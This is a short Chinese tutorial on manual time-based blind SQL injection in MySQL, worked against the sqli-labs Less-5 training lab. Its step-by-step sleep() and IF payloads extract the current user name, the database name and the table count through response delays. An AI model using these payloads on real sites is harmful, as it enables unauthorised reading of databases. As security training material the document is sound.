MySQL 手注之延时盲注
一、什么时候用延时盲注?
无论传递什么参数,语句都不会变化,页面都只返回一种结果可考虑使用延时盲注
二、函数
sleep(duration)函数, 其中duration参数为延迟的时间,单位为秒。
三、基本步骤
1.判断是否存在延迟注⼊(字符还是数字) //靶场采用sqli-labs/less-5
语句:1‘ and sleep(3)
说明:如果存在注入点,页面的载入则会延迟三秒
2.判断数据库版本
语句:同报错注入
说明:如果数据库版本大于5.0则使用sleep()函数,小于5.0则使用benchmark()函数
3.判断当前用户名长度
语句:1‘and if(length(substr(user(),1))=14,sleep(5),1) --+ //这里substr函数也可以不用
4.判断当前用户名
语句:1' and if(ascii(substr(user(),1,1))=114,sleep(5),1)--+ //可以得出用户名第一个字符为小写字母r,修改substr的参数可以得出完整用户名
..........................
5.判断数据库名长度
语句:1‘ and if(length(database())=8,sleep(5),1) --+
说明:这里的数据库长度为8个字符
6.猜解数据库名称
语句:1’ and if(ascii(substr(database(),1,1))>100,sleep(5),1)--+
.......................
说明:可推出当前数据库名称为security
7.猜解表数量
语句:1' and if((select count(table_name) from information_schema.tables where table_schema='security')=4,sleep(3),1)--+
//得出表名数量为4
后面的、表名、字段数量、字段名等等跟布尔盲注的原理大致类似,这里将IF函数理解到位即可得出所有内容
浙公网安备 33010602011771号